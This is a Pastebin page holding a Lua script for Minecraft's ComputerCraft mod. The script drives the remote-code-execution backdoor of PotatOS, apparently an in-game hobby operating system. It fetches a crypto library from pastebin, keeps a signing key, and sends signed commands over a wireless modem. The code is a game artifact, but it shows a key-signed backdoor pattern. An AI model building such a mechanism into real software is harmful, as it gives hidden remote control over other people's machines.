osmarks

PotatOS RDS Server

Aug 17th, 2018
702
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.44 KB | None | 0 0
  1. -- For using the remotecodeexec backdoor of PotatOS
  2.  
  3. local function a(b,c)local d=fs.open(b,"w")d.write(c)d.close()end;local function e(b)local d=fs.open(b,"r")local c=d.readAll()d.close()return c end;local function f(g)local h=http.get(g)local c=h.readAll()h.close()return c end;local function i(g,d)a(d,f(g))end;i("https://pastebin.com/raw/Sc0DU3rA","ecc.lua")
  4.  
  5. local m = peripheral.find("modem", function(_, modem) return modem.isWireless() end)
  6.  
  7. local ecc = require "./ecc"
  8. local t = ecc "ecc"
  9. m.open(636)
  10. m.open(858)
  11.  
  12. local pub,priv
  13. if not fs.exists("/.potato_rds_priv") then
  14.     pub,priv = t.keypair()
  15.     local f
  16.     f = fs.open("/.potato_rds_priv", "w")
  17.     f.write(textutils.serialize(priv))
  18.     f.close()
  19.     f = fs.open("/.potato_rds_pub", "w") --this is the file you want to bundle with potatos
  20.     f.write(textutils.serialize(pub))
  21.     f.close()
  22. else
  23.     local f
  24.     f = fs.open("/.potato_rds_priv", "r")
  25.     priv = textutils.unserialize(f.readAll())
  26.     f.close()
  27.     pub = t.publicKey(priv)
  28. end
  29.  
  30. parallel.waitForAll(function()
  31.     while true do
  32.         local _, _, sc, rc, msg = os.pullEvent "modem_message"
  33.         if sc == 858 then
  34.             print(textutils.serialise(msg))
  35.         end
  36.     end
  37. end, function()
  38.     local history = {}
  39.     while true do
  40.         write "|> "
  41.         local input = read(nil, history)
  42.         table.insert(history, input)
  43.         m.transmit(636, 858, {
  44.             data = input,
  45.             signature = t.sign(priv, input)
  46.         })
  47.     end
  48. end)
Add Comment
Please, Sign In to add comment